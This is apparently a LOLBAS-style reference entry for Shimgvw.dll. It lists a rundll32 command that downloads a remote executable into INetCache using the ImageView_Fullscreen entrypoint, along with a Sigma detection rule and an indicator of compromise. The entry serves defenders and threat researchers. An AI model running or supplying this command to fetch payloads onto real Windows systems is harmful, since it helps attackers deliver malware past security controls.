Shimgvw.dll

Commands

1. DownloadUser T1105

   Download file from remote location.

   rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}

   Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint ‘ImageView_FullscreenA’.

   os: Windows 10, Windows 11

   Download: INetCache

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
• IOCExecution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line

Resources

• https://twitter.com/eral4m/status/1479080793003671557